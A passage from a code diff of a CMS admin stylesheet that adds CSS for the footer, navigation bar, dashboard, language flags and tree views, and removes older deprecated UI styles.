+.x>.footer:after{content:"";display:block;clear:both} +.x>.footer>p{margin:0} +.x>.footer>.power{float:left;color:#666} +.x>.footer>.cache{float:right} +.x>.footer>.cache>*{color:#666} +.x>.footer .vr{color:#ccc !important} +/* GNB */ +.x>.body>.gnb ul{margin:0;padding:0;list-style:none} +.x>.body>.gnb>ul{position:relative;z-index:1;box-shadow:0 0 4px #ccc;border:2px solid #fff} +.x>.body>.gnb a{text-decoration:none;text-shadow:0 1px 0 #fff;color:#000;display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} +.x>.body>.gnb>a[href="#gnbNav"]{display:block;position:absolute;z-index:2;white-space:nowrap;font-size:0;top:50%;right:-14px;background:#eee;width:12px;height:50px;border-radius:0 3px 3px 0;margin:-25px 0 0 0;border:1px solid #ddd;border-left:0;overflow:hidden;text-indent:20px} +.x>.body.wide>.gnb>a[href="#gnbNav"]>b{border-color:transparent;border-left-color:#666;margin:-4px 0 0 -2px} +.x>.body>.gnb>a[href="#gnbNav"]>b{width:0;height:0;position:absolute;top:50%;left:50%;margin:-4px 0 0 -6px;border:4px solid;border-color:transparent;border-right-color:#666} +.x>.body>.gnb>a>i{display:none} +.x>.body>.gnb .exMenu{position:absolute;width:100%} +.x>.body>.gnb .exMenu>button{width:100%;border:0;background:none;font-size:20px;line-height:25px} +.x>.body>.gnb .exMenu>button>i{opacity:.5;filter:alpha(opacity=50);vertical-align:middle;text-indent:0} +.x>.body>.gnb .exMenu>button:hover>i, +.x>.body>.gnb .exMenu>button:focus>i{opacity:1;filter:alpha(opacity=100)} +.x>.body>.gnb .exMenu .x_icon-chevron-up, +.x>.body>.gnb>.ex .exMenu .x_icon-chevron-down{display:none} +.x>.body>.gnb>.ex .exMenu .x_icon-chevron-up{display:inline-block} +.x>.body>.gnb>ul>li[data-index="1"]{border-top-color:#eee} +.x>.body>.gnb>ul>li[data-index="5"]{margin-bottom:25px} +.x>.body>.gnb>ul>li[data-index="6"]{border-top-color:#eee} +.x>.body>.gnb>ul>li[data-index="6"], +.x>.body>.gnb>ul>li[data-index="7"]{display:none} +.x>.body>.gnb>.ex>li[data-index="6"], +.x>.body>.gnb>.ex>li[data-index="7"]{display:block} +.x>.body>.gnb>ul>li[data-index].active_{display:none} +@media all and (max-width:800px){ +.x>.body>.gnb>ul{border:0} +.x>.body>.gnb>ul>li{display:none} +.x>.body>.gnb.open>ul>li{display:block} +.x>.body>.gnb.open>ul>li[data-index="6"], +.x>.body>.gnb.open>ul>li[data-index="7"], +.x>.body>.gnb>.ex>li[data-index="6"], +.x>.body>.gnb>.ex>li[data-index="7"]{display:none} +.x>.body>.gnb.open>.ex>li[data-index="6"], +.x>.body>.gnb.open>.ex>li[data-index="7"]{display:block} +.x>.body>.gnb>ul>li:first-child{display:block !important} +.x>.body>.gnb>a[href="#gnbNav"], +.x>.body.wide>.gnb>a[href="#gnbNav"]{top:0;right:0;line-height:37px;width:44px;height:auto;background:none;border-radius:0;margin:0;border:0} +.x>.body>.gnb>a[href="#gnbNav"]{opacity:.5;filter:alpha(opacity=50%)} +.x>.body>.gnb>a[href="#gnbNav"]:before{content:"";position:absolute;top:1px;left:0;width:1px;height:100%;border-left:1px solid #999} +.x>.body>.gnb>a[href="#gnbNav"]>b{display:none} +.x>.body>.gnb>a>i{display:block;position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px} +} + /* li */ +.x>.body>.gnb>ul>li{background:#3886d0;border-top:1px solid #fff;border-bottom:1px solid #ddd;vertical-align:top;white-space:nowrap} +.x>.body>.gnb>ul>li.active{background:#222} +.x>.body>.gnb>ul>li.open, +.x>.body>.gnb>ul>li.active{border-bottom:0;padding:0 0 1px 0} + /* li>a */ +.x>.body>.gnb>ul>li>a{position:relative;padding:8px 5px 8px 10px;background:#f1f1f1;background:-webkit-linear-gradient(top,#F1F1F1,#E8E8E8);background:-moz-linear-gradient(top,#F1F1F1,#E8E8E8);background:-o-linear-gradient(top,#F1F1F1,#E8E8E8);background:-ms-linear-gradient(top,#F1F1F1,#E8E8E8);background:linear-gradient(top,#F1F1F1,#E8E8E8)} +.x>.body>.gnb>ul>li>a>i{display:inline-block;width:14px;height:14px;margin:-4px 4px 0 0;vertical-align:middle;opacity:.75;filter:alpha(opacity=75)} +.x>.body>.gnb>ul>li>a>b{position:absolute;width:0;height:0;top:50%;right:10px;margin:-2px 0 0 0;border:4px solid transparent;border-top-color:#999} +.x>.body>.gnb>ul>li.open>a>b{border-top:0;border-bottom-color:#fff} +.x>.body.wide>.gnb>ul>li>a>b{display:none} +.x>.body>.gnb>ul>li[data-index="1"]>a>i{background-position:-384px -144px} +.x>.body>.gnb>ul>li[data-index="2"]>a>i{background-position:0 -24px} +.x>.body>.gnb>ul>li[data-index="3"]>a>i{background-position:-168px 0} +.x>.body>.gnb>ul>li[data-index="4"]>a>i{background-position:-48px -48px} +.x>.body>.gnb>ul>li>a[href="#favorite"]>i{background-position:-120px 0} +.x>.body>.gnb>ul>li[data-index="6"]>a>i{background-position:-360px -144px} +.x>.body>.gnb>ul>li[data-index="7"]>a>i{background-position:-432px 0} +.x>.body>.gnb>ul>li>a:hover, +.x>.body>.gnb>ul>li>a:focus{background:#f6f6f6;background:-webkit-linear-gradient(top,#f6f6f6,#F1F1F1);background:-moz-linear-gradient(top,#f6f6f6,#F1F1F1);background:-o-linear-gradient(top,#f6f6f6,#F1F1F1);background:-ms-linear-gradient(top,#f6f6f6,#F1F1F1);background:linear-gradient(top,#f6f6f6,#F1F1F1)} +.x>.body>.gnb>ul>li.open>a{font-weight:bold;color:#fff;text-shadow:0 -1px 0 #333;background:#3886d0;background:-webkit-linear-gradient(top,#6ebcea,#3886d0);background:-moz-linear-gradient(top,#6ebcea,#3886d0);background:-o-linear-gradient(top,#6ebcea,#3886d0);background:-ms-linear-gradient(top,#6ebcea,#3886d0);background:linear-gradient(top,#6ebcea,#3886d0)} +.x>.body>.gnb>ul>li.active>a{font-weight:bold;color:#fff;text-shadow:none;background:#222;background:-webkit-linear-gradient(top,from(#555),to(#222));background:-moz-linear-gradient(top,#555,#222);background:-o-linear-gradient(top,#555,#222)} +@media all and (max-width:800px){ +.x>.body>.gnb>ul>li:first-child>a{font-weight:bold;color:#fff;text-shadow:none;border-radius:3px;background-color:#222;background-image:-webkit-linear-gradient(top, #555, #222);background-image:-moz-linear-gradient(top, #555, #222);background-image:-o-linear-gradient(top, #555, #222);background-image:linear-gradient(top, #555, #222);} +} + /* li>a>span */ +.x>.body.wide>.gnb>ul>li>a>.tx{display:inline-block;width:1px;height:1px;overflow:hidden} + /* li>ul */ +.x>.body>.gnb>ul>li>ul{display:none;margin:0 10px 10px 10px;border-radius:4px} +.x>.body>.gnb>ul>li.active>ul{display:block!important} +.x>.body.wide>.gnb>ul>li>ul{display:none!important} + /* li>ul>li */ +.x>.body>.gnb>ul>li>ul>li{border-top:1px solid #ddd;position:relative} +.x>.body>.gnb>ul>li>ul>li:first-child{border:0} +.x>.body>.gnb>ul>li>ul>li.active_{box-shadow:0 0 3px #999;z-index:99;border:1px solid #666;border-left:0;border-right:0} + /* li>ul>li>a */ +.x>.body>.gnb>ul>li>ul>li>a{padding:4px 5px 4px 15px;background:#e8e8e8;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8)} +.x>.body>.gnb>ul>li>ul#favorite>li>a{padding:4px 25px 4px 15px} +.x>.body>.gnb>ul>li>ul>li:first-child>a{border-radius:4px 4px 0 0} +.x>.body>.gnb>ul>li>ul>li:last-child>a{border-radius:0 0 4px 4px} +.x>.body>.gnb>ul>li>ul>li:only-child>a{border-radius:4px} +.x>.body>.gnb>ul>li>ul>li>a:hover, +.x>.body>.gnb>ul>li>ul>li>a:active, +.x>.body>.gnb>ul>li>ul>li.active_>a{font-weight:bold;background:-webkit-linear-gradient(top,#F6F6F6,#F1F1F1);background:-moz-linear-gradient(top,#F6F6F6,#F1F1F1);background:-o-linear-gradient(top,#F6F6F6,#F1F1F1);background:-ms-linear-gradient(top,#F6F6F6,#F1F1F1);background:linear-gradient(top,#F6F6F6,#F1F1F1)} +.x>.body>.gnb>ul>li>ul>li.active_>a:after{content:"";position:absolute;top:8px;right:-12px;border:6px solid transparent;border-left-color:#f3f3f3;width:0;height:0;overflow:hidden} + /* li>ul>li>.action */ +.x>.body>.gnb>ul>li>ul>li>.remove{position:absolute;top:4px;right:5px} +.x>.body>.gnb>ul>li>ul>li>.remove>.x_close{width:20px;height:20px} +@media all and (max-width:800px){ +.x>.body.wide>.gnb>ul>li>a>.tx{width:auto;height:auto} +} +/* Dashboard */ +.x .dashboard{zoom:1} +.x .dashboard:after{content:"";display:block;clear:both} +.x .dashboard>div{float:right;width:49%} +.x .dashboard>div:first-child{float:left} +.x .dashboard>div>section{position:relative;height:196px;border:1px solid #ddd;border-radius:4px;margin:0 0 25px 0;overflow:hidden} +.x .dashboard>div>section>h2{font-size:14px;margin:0;padding:6px 15px;border-bottom:1px solid #ddd;background:#e8e8e8;background:-webkit-linear-gradient(top,#F1F1F1,#E8E8E8);background:-moz-linear-gradient(top,#F1F1F1,#E8E8E8);background:-o-linear-gradient(top,#F1F1F1,#E8E8E8);background:-ms-linear-gradient(top,#F1F1F1,#E8E8E8);background:linear-gradient(top,#F1F1F1,#E8E8E8);text-shadow:0 1px 0 #fff} +.x .dashboard>div>section>h2:before{content:"";display:inline-block;width:14px;height:14px;margin:0 4px 0 0;vertical-align:middle;opacity:.5;filter:alpha(opacity=50)} +.x .dashboard>div>.status>h2:before{background-position:-408px 0} +.x .dashboard>div>.status dl{color:#767676;display:inline-block;*display:inline;zoom:1;margin:0 8px 0 0;padding:1px 8px 0;font:11px/1 돋움, Dotum, Arial, Helvetica, sans-serif;background:#fff;box-shadow:0 0 3px #999 inset;border-radius:3px;min-width:60px;text-align:center} +.x .dashboard>div>.status dt{display:inline;font-weight:normal} +.x .dashboard>div>.status dd{display:inline;margin:0} +.x .dashboard>div>.status dl a{color:#767676} +.x .dashboard>div>.document>h2:before{background-position:-264px -48px} +.x .dashboard>div>.reply>h2:before{background-position:-240px -120px} +.x .dashboard>div>.trackback>h2:before{background-position:-216px -120px} +.x .dashboard>div>section>.more{position:absolute;top:7px;right:15px;text-shadow:0 1px 0 #fff} +.x .dashboard>div>section>.more i{font:12px Tahoma, Geneva, sans-serif} +.x .dashboard>div>section ul{list-style:none;margin:10px;padding:0;overflow:hidden;zoom:1} +.x .dashboard>div>section li{position:relative;height:28px;line-height:28px;padding:0 70px 0 5px;white-space:nowrap;overflow:hidden;zoom:1;vertical-align:top} +.x .dashboard>div>section li.hover{background:#f4f4f4;border-radius:4px} +.x .dashboard>div>section li>a{display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden} +.x .dashboard>div>section li>.side{position:absolute;top:0;right:5px;line-height:28px;width:60px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-align:right;zoom:1} +.x .dashboard>div>section li>.action{display:none;position:absolute;top:0;right:5px;margin:0;padding:0 0 0 10px;text-align:right;white-space:nowrap;line-height:28px;background:#f4f4f4} +.x .dashboard>div>section li>.action>button{margin:0 0 0 4px;padding:0;overflow:visible} +@media all and (max-width:980px){ +.x .dashboard>div{float:none !important;width:auto} +} +.x .g11n>.x_add-on{font-size:0;position:relative;cursor:pointer;text-decoration:none;*color:#eee} +.x .g11n>.x_add-on>i{position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px;z-index:1;opacity:.25;filter:alpha(opacity=25)} +.x .g11n>.x_add-on.remover{display:none;width:26px;height:26px} +.x .g11n.active>[disabled]{padding-left:25px;background-position:4px 6px;background-repeat:no-repeat} +.x .g11n.active>.x_add-on.remover{display:inline-block} +.x .g11n>.x_add-on:hover>i{opacity:1;filter:alpha(opacity=100)} +.x .g11n>textarea{border-top-right-radius:0;overflow-x:hidden} +#g11n #lang_search .list{border-top:2px solid #ddd} +#g11n #lang_search .item{border-bottom:1px solid #ddd;margin:0} +#g11n #lang_search .item>a{display:block;padding:8px 0;position:relative} +#g11n #lang_search .item>a>i{position:absolute;top:50%;margin:-7px 0 0 0;right:0;opacity:.5;filter:alpha(opacity=50)} +#g11n #lang_search .item>fieldset{display:none;padding:0 0 15px 0} +#g11n .item input[type="text"], +#g11n .item textarea{padding-left:25px;width:187px;background-repeat:no-repeat;background-position:4px 8px;overflow-x:hidden} +#g11n .flag{padding-left:18px;background-repeat:no-repeat;background-position:0 50%} +html[lang="en"] .x .g11n.active>[disabled], +#g11n .item .en, +#g11n .flag.en{background-image:url(../img/flag.en.gif)} +html[lang="ko"] .x .g11n.active>[disabled], +#g11n .item .ko, +#g11n .flag.ko{background-image:url(../img/flag.ko.gif)} +html[lang="jp"] .x .g11n.active>[disabled], +#g11n .item .jp, +#g11n .flag.jp{background-image:url(../img/flag.jp.gif)} +html[lang="zh"] .x .g11n.active>[disabled], +#g11n .item .zh-CN, +#g11n .flag.zh-CN{background-image:url(../img/flag.cn.gif)} +html[lang="zh"] .x .g11n.active>[disabled], +#g11n .item .zh-TW, +#g11n .flag.zh-TW{background-image:url(../img/flag.tw.gif)} +html[lang="fr"] .x .g11n.active>[disabled], +#g11n .item .fr, +#g11n .flag.fr{background-image:url(../img/flag.fr.gif)} +html[lang="de"] .x .g11n.active>[disabled], +#g11n .item .de, +#g11n .flag.de{background-image:url(../img/flag.de.gif)} +html[lang="ru"] .x .g11n.active>[disabled], +#g11n .item .ru, +#g11n .flag.ru{background-image:url(../img/flag.ru.gif)} +html[lang="es"] .x .g11n.active>[disabled], +#g11n .item .es, +#g11n .flag.es{background-image:url(../img/flag.es.gif)} +html[lang="tr"] .x .g11n.active>[disabled], +#g11n .item .tr, +#gg1n .flag.tr{background-image:url(../img/flag.tr.gif)} +html[lang="vi"] .x .g11n.active>[disabled], +#g11n .item .vi, +#g11n .flag.vi{background-image:url(../img/flag.vi.gif)} +html[lang="mn"] .x .g11n.active>[disabled], +#g11n .item .mn, +#g11n .flag.mn{background-image:url(../img/flag.mn.gif)} +#g11n #lang_search .cancel, +#g11n #lang_search .save, +#g11n #lang_search .editMode .modify, +#g11n #lang_search .editMode .useit{display:none} +#g11n #lang_search .editMode .cancel, +#g11n #lang_search .editMode .save{display:inline-block} +/* Module Search */ +.x .moduleWindow{position:absolute;z-index:100;padding:15px 20px} +.x .moduleWindow ul{margin-bottom:0} +.x .moduleWindow .siteList{margin-right:14px} +.x .moduleWindow .siteList>input[type="search"]{width:100%;padding-top:6px;padding-bottom:6px;border-radius:3px 3px 0 0;margin-bottom:0} +.x .moduleWindow .siteList>ul{margin:-1px -14px 0 0} +.x .moduleWindow .siteList>ul>li{background:#fff} +.x .moduleWindow .siteList>ul>li:first-child>a{border-top-left-radius:0;border-top-right-radius:0} +.x .moduleWindow select{width:100%} +/* Text List */ +.x .textList{border:1px solid #ddd !important;line-height:1.5em;height:125px;overflow:auto} +.x .textList li{position:relative;border:0;padding:0 10px;height:25px;line-height:25px;white-space:nowrap;overflow:hidden} +.x .textList li:nth-child(even){background:#eee} +.x .textList li>button{position:absolute;right:8px;top:50%;margin:-7px 0 0 0} +/* Up-Down Dragable */ +.x .uDrag .wrap{position:relative;padding-left:20px} +.x .uDrag li>.wrap{margin:0 0 0 8px} +.x .uDrag .dragActive{background:#FFD} +.x .uDrag .dragActive th, +.x .uDrag .dragActive td{background:none !important} +.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap;font-size:0px} +/* Favicon Preview */ +.x #faviconPreview{position:relative;padding:80px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat} +.x #faviconPreview img{position:absolute} +.x #faviconPreview .fn1{top:30px;left:12px} +.x #faviconPreview .fn2{top:55px;left:68px} +/* Mobile Icon Preview */ +.x #mobiconPreview{position:relative;padding:270px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat} +.x #mobiconPreview img{position:absolute;top:20px;left:10px;width:32px;height:32px} +.x #mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px} +/* Layer */ +.x .layer{position:absolute;display:none;font-weight:normal} +/* Tree: Works with ./modules/menu/tpl/css/themes/default/style.css */ +.tree{margin:3px 0 5px 0;min-width:200px;background-color:transparent !important} +.tree ul{margin:0;padding:0;list-style:none} +.tree li{padding:0;white-space:nowrap;position:relative;border-radius:3px;vertical-align:top} +.tree li>ul{margin:0} +.tree a{text-decoration:none} +.tree>ul{padding:1px} +.tree .jstree-rename-input{margin-left:-16px;z-index:2} + /* Root */ +.tree>ul>li{margin-top:30px;position:relative} +.tree>ul>li:before{content:"";display:block;border-top:1px dotted #ccc;position:relative;top:-15px} +.tree>ul>li:first-child{margin-top:0} +.tree>ul>li:first-child:before{content:normal} +.tree>ul>li>a{font-weight:bold;text-shadow:0 1px 0 #fff;vertical-align:middle} +.tree>ul>li>a:hover, +.tree>ul>li>a:focus, +.tree>ul>li>a.jstree-clicked, +.tree>ul>li>a.jstree-hovered{text-shadow:none} +.tree>ul>li>ul{margin:0 0 0 18px} +.tree>ul>li>ul>li{margin-left:0} + /* li>a */ +.tree li>a{border:0 !important;padding:0 8px !important;margin:0 0 1px 0;border-radius:3px;position:relative;z-index:2;height:23px;line-height:23px;max-width:160px;overflow:hidden;text-overflow:ellipsis;-webkit-transition:.2s;-moz-transition:.2s;-o-transition:.2s;transition:.2s} +.tree li>a>i{opacity:.5;filter:alpha(opacity=50)} +.tree .jstree-hovered>i, +.tree .jstree-clicked>i{opacity:1;filter:alpha(opacity=100)} + /* Plugin style override */ +.tree a>.jstree-icon{display:none} +.tree .jstree-open>.jstree-icon, +.tree .jstree-closed>.jstree-icon{background-color:#fff} + +/* ---------- Deprecated UI: Please do not use this CSS styles below. It will be removed as soon as possible. ---------- */ +/* ---------- Deprecated UI: Please do not use this CSS styles below. It will be removed as soon as possible. ---------- */ +/* ---------- Deprecated UI: Please do not use this CSS styles below. It will be removed as soon as possible. ---------- */ + /* Section & Heading */ -.x .section{margin:1em 0;padding:0;border:0} .x .h2, .x .h3, .x .h4{position:relative;border-style:solid;border-top:0;border-right:0;zoom:1;padding-left:8px} @@ -30,23 +541,6 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .h2 + .table table, .x .h3 + .table table, .x .h4 + .table table{border-top:0 !important;margin-top:-1em !important} -/* Portlet */ -.x .portlet{position:relative;border:1px solid #e9e9e9;margin:1em 0;padding:0;background:#fff;zoom:1;overflow:hidden;border-radius:5px} -.x .portlet h2, -.x .portlet h3{margin:0;padding:.5em 1em;font-size:14px;border:1px solid #fff;border-bottom:1px solid #e9e9e9;background:#f7f7f7;border-radius:5px 5px 0 0} -.x .portlet p{margin:1em 1.2em} -.x .portlet li{position:relative;padding-right:8em} -.x .portlet .lined{margin:1px !important;padding:0;list-style:none} -.x .portlet .lined li{padding:.5em 8em .5em 1em;border-top:1px solid #eee;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;-o-text-overflow:ellipsis} -.x .portlet .lined li:first-child{border:0} -.x .portlet .side{position:absolute;top:0;_top:1px;right:0;color:#666;background:#fff;padding:0 1em} -.x .portlet .lined .side{padding:.5em 1em} -.x .portlet .more{position:absolute;top:.5em;right:1em;text-decoration:none !important;color:#666} -.x .portlet .more span{color:#999} -.x .portlet .action{text-align:right;top:0;right:0;padding:.5em 1em .5em 3em;background:#fff;background:-webkit-gradient(linear, 0% 0%, 100% 0%, from(rgba(255,255,255,0)), to(rgba(255,255,255,1)), color-stop(15%, #fff));background:-moz-linear-gradient(left, rgba(255,255,255,0) 0, rgba(255,255,255,1) 15%)} -.x .portlet .action a, -.x .portlet .action button{margin-left:1em} -.x .portlet .btnArea{border-top:1px solid #ddd;margin:0;padding:.5em 1em;margin:0 1px 1px 1px;background:#f7f7f7;border-radius:0 0 5px 5px} /* Table */ .x .table{margin:1em 0} .x .table table{width:100%;border:0;border-collapse:collapse;border-top:2px solid #ccc} @@ -63,22 +557,20 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .table tfoot td{font-weight:bold;background:#f8f8f8} .x .table.even tbody tr:nth-of-type(even){background-color:#fafafa} .x .table tbody tr:hover{background:#ffd !important} -.x .table td>input[type=text]{margin:-1px 0 !important;vertical-align:middle} +.x .table td>input[type="text"]{margin:-1px 0 !important;vertical-align:middle} .x .table img{vertical-align:middle} .x .table em{font-style:normal;font-weight:normal;color:#e00} -.x .table th.nowr, -.x .table td.nowr{white-space:nowrap} /* Form */ .x .form{margin:0 0 1em 0;padding:0} .x .form fieldset{margin:0 0 2em 0;padding:0;border:0} .x .form.search fieldset{border:1px solid #ccc;padding:5px 15px;border-radius:3px} .x .form em{font-style:normal;color:#e00} .x .form label{line-height:1;vertical-align:middle} -.x .form input[type=radio]+label, -.x .form input[type=checkbox]+label{margin-right:1em} -.x .form input[type=checkbox]+label, -.x .form input[type=radio]+label, -.x .form input[type=file]{cursor:pointer} +.x .form input[type="radio"]+label, +.x .form input[type="checkbox"]+label{margin-right:1em} +.x .form input[type="checkbox"]+label, +.x .form input[type="radio"]+label, +.x .form input[type="file"]{cursor:pointer} .x .form ul{position:relative;margin:1em 0;padding:0;list-style:none;border-top:2px solid #ccc;border-bottom:1px solid #ccc;zoom:1} .x .form li{list-style:none;border:1px solid #ddd;border-left:0;border-right:0;margin:-1px 0;padding:8px 0;vertical-align:top;zoom:1} .x .form li:hover{background:#ffd} @@ -86,24 +578,22 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .form li>label:first-child{display:block;font-weight:bold} .x .form li label em{font-weight:normal} .x .form label.overlap{position:absolute;color:#aaa} -.x .form input[type=text], -.x .form input[type=password], -.x .form input[type=file], +.x .form input[type="text"], +.x .form input[type="password"], +.x .form input[type="file"], .x .form select[size], .x .form textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent} -.x .form input[type=text], -.x .form input[type=password], -.x .form input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px} -.x .form input[type=text].loading, -.x .form input.loading[type=password]{padding-right:24px;width:260px;background:transparent url(../img/preLoader16.gif) no-repeat 265px center} -.x .form input[type=checkbox], -.x .form input[type=radio]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle} -.x .form input[type=text][disabled=disabled], -.x .form input[type=password][disabled=disabled], -.x .form input[type=radio][disabled=disabled], -.x .form input[type=checkbox][disabled=disabled], -.x .form select[disabled=disabled], -.x .form textarea[disabled=disabled]{background:#ddd;text-shadow:1px 1px 0 #fff} +.x .form input[type="text"], +.x .form input[type="password"], +.x .form input[type="file"]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px} +.x .form input[type="checkbox"], +.x .form input[type="radio"]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle} +.x .form input[type="text"][disabled="disabled"], +.x .form input[type="password"][disabled="disabled"], +.x .form input[type="radio"][disabled="disabled"], +.x .form input[type="checkbox"][disabled="disabled"], +.x .form select[disabled="disabled"], +.x .form textarea[disabled="disabled"]{background:#ddd;text-shadow:1px 1px 0 #fff} .x .form textarea{padding:3px 4px;vertical-align:top;resize:both} .x .form span.desc, .x .form em.desc{line-height:22px;vertical-align:middle;margin:0 10px} @@ -111,71 +601,6 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .form .q{font-weight:bold;margin:0 0 5px 0} .x .form .a{margin:0 0 5px 0} .x .form .tgForm{margin-right:1em} -/* Global Navigation Bar */ -.x .gnb{height:34px;clear:both;border:1px solid #c1c1c1;border-left:0;border-right:0;background-color:#efefef;background:#efefef -webkit-gradient(linear, 0% 0%, 0% 100%, from(#efefef), to(#dcdcdc));background:#efefef -moz-linear-gradient(top, #efefef, #dcdcdc);filter:progid:DXImageTransform.Microsoft.gradient(startColorStr=#efefef, endColorStr=#dcdcdc);zoom:1} -.x .gnb:after{content:"";display:block;clear:both} -.x .gnb .nav-gnb{float:left;position:relative;display:inline-block;*display:inline;zoom:1;margin:0 0 0 20px;padding:1px;list-style:none} -.x .gnb .nav-gnb ul{_position:absolute;display:block;_display:inline;zoom:1;clear:both;margin:0;padding:0;border:0;overflow:hidden;height:0} -.x .gnb.active .nav-gnb{top:-5px;padding:5px 5px 5px 0;margin:0 0 -100% 20px;border:1px solid #aaa;background:#fff;box-shadow:0 0 10px #999;border-radius:5px} -.x .gnb.active .nav-gnb ul{top:0;_position:relative;box-shadow:none;display:block;_display:inline;clear:both;padding:0;margin:0;border:0} -.x .gnb .nav-gnb:after{content:"";display:block;clear:both} -.x .gnb .nav-gnb li{position:relative;display:inline-block;*display:inline;zoom:1;vertical-align:top;overflow:hidden;margin:0} -.x .gnb .nav-gnb li.activeOn{z-index:10} -.x .gnb .nav-gnb li.activeOn>a{border:1px solid #ccc} -.x .gnb .nav-gnb li li{display:block;_float:left;clear:both;overflow:hidden;border:0;margin:0} -.x .gnb .nav-gnb li li:first-child{border:0} -.x .gnb .nav-gnb li a{display:block;_float:left;font-weight:bold;color:#333;font-size:12px;height:14px;padding:9px 0;white-space:nowrap;text-decoration:none;text-shadow:0 1px 0 #fff;zoom:1} -.x .gnb .nav-gnb li a span{padding:0 15px;border-left:1px solid #fff} -.x .gnb.active .nav-gnb li a span, -.x .gnb .nav-gnb li:first-child a span, -.x .gnb .nav-gnb li.activeOn+li a span{border:0;margin:0 0 0 1px} -.x .gnb .nav-gnb li a:hover, -.x .gnb .nav-gnb li a:active, -.x .gnb .nav-gnb li a:focus{background:#f4f4f4} -.x .gnb .nav-gnb li.activeOn>a{background:#fff;padding:8px 0} -.x .gnb .nav-gnb li li a{color:#555;background:#fff;padding:5px 15px !important;font-weight:normal !important;border:0 !important} -.x .gnb .nav-gnb li li a:hover, -.x .gnb .nav-gnb li li a:active, -.x .gnb .nav-gnb li li a:focus{border:0;background:#eee} -.x .gnb .mnv{width:100%;height:32px;display:none} -@media all and (max-width:860px){ -.x .gnb{height:auto} -.x .gnb .nav-gnb, -.x .sct{display:none} -.x .gnb .mnv{display:block} -} -/* Local Navigation */ -.x .lnb{position:relative;float:left;width:210px;left:-230px;margin:0 0 20px 0;line-height:normal;zoom:1;display:inline} -.x .lnb .h2{position:relative;z-index:2;margin:0 0 -1px 0;padding:0 10px;border:1px solid #444;border-bottom:0;border-radius:4px 4px 0 0;background:#555;font-size:13px;color:#fff;line-height:36px} -.x .lnb ul{margin:0 !important;padding:0;list-style:none;position:relative;z-index:1} -.x .lnb li{position:relative;margin:0 0 -1px 0;vertical-align:top;zoom:1} -.x .lnb li a{display:block;position:relative;padding:8px 10px;text-decoration:none;color:#666;font-weight:bold;background:#fafafa;border:1px solid #eee;zoom:1} -.x .lnb li a .i{position:absolute;top:50%;left:100%;margin:-4px 0 0 -16px;width:8px;height:8px;color:#ccc;background:url(../img/iconNavVr.gif) no-repeat left top} -.x .lnb li ul{padding:5px 0;background:#fff} -.x .lnb li li{margin:0;border-top:1px dotted #ddd} -.x .lnb li li:first-child{border:0} -.x .lnb li li a{font-weight:normal;background:#fff;padding:5px 10px;border:0} -.x .lnb li li a span{color:#666} -.x .lnb li.active{border:1px solid #ccc;z-index:2} -.x .lnb li li.active{border:0} -.x .lnb li.active a{color:#000;border:0} -.x .lnb li.active .i{background-position:0 -44px} -.x .lnb li.active li a{border:0} -.x .lnb li.active ul{display:block;border-top:1px solid #eee} -.x .lnb li.active li.active a span{color:#13b200;font-weight:bold;letter-spacing:-1px} -.x .lnb li:last-child a, -.x .lnb li.active:last-child{border-radius:0 0 4px 4px !important} -/* Shortcut */ -.x .sct{float:left;width:210px;position:relative;left:-230px;margin:0;padding:8px 0;border:0;box-shadow:inset 0 0 1px rgba(0,0,0,0.5)} -.x .sct h2{margin:0 0 5px 10px;font-size:13px} -.x .sct ul{margin:0;font-size:12px} -.x .sct li{position:relative} -.x .sct a{text-decoration:none;padding:3px 18px 3px 10px} -.x .sct form{position:absolute;margin:0;padding:0;top:2px;right:-10px} -.x .sct .text{text-decoration:none;font-weight:bold;color:#999 !important;width:16px;height:16px;margin:0} -.x .sct .text:hover, -.x .sct .text:active, -.x .sct .text:focus{color:#333 !important} /* Content Navigation */ .x .cnb{margin:1em 0;position:relative;zoom:1} .x .cnb:after{content:"";display:block;clear:both} @@ -201,17 +626,12 @@ header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{di .x .pagination .direction:focus{border:0;margin:0;text-decoration:underline} .x .pagination input{width:30px;text-align:center} .x .pagination button{overflow:visible} -/* Star Rating */ -.x .starRating, -.x .starRating span{display:inline-block;height:14px;background:transparent url(../img/iconStarRating.gif) no-repeat;overflow:hidden} -.x .starRating{width:79px;vertical-align:top} -.x .starRating span{font-size:0;line-height:0;vertical-align:top;text-indent:-100px;*text-indent:0;background-position:0 -14px} /* Progress */ .x .prgrs{white-space:nowrap;line-height:normal;vertical-align:middle} .x .prgrs *{vertical-align:middle} .x .prgrs .pBar{position:relative;display:inline-block;background:#e9e9e9;margin:0 5px 0 0} .x .prgrs .pAction{display:inline-block;vertical-align:top;background:#99a6b6} -.x .prgrs .pNum{position:absolute;width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff} +.x .prgrs .pNum{width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff} .x .prgrs.prgrsSmall{font-size:14px;line-height:14px} .x .prgrs.prgrsSmall 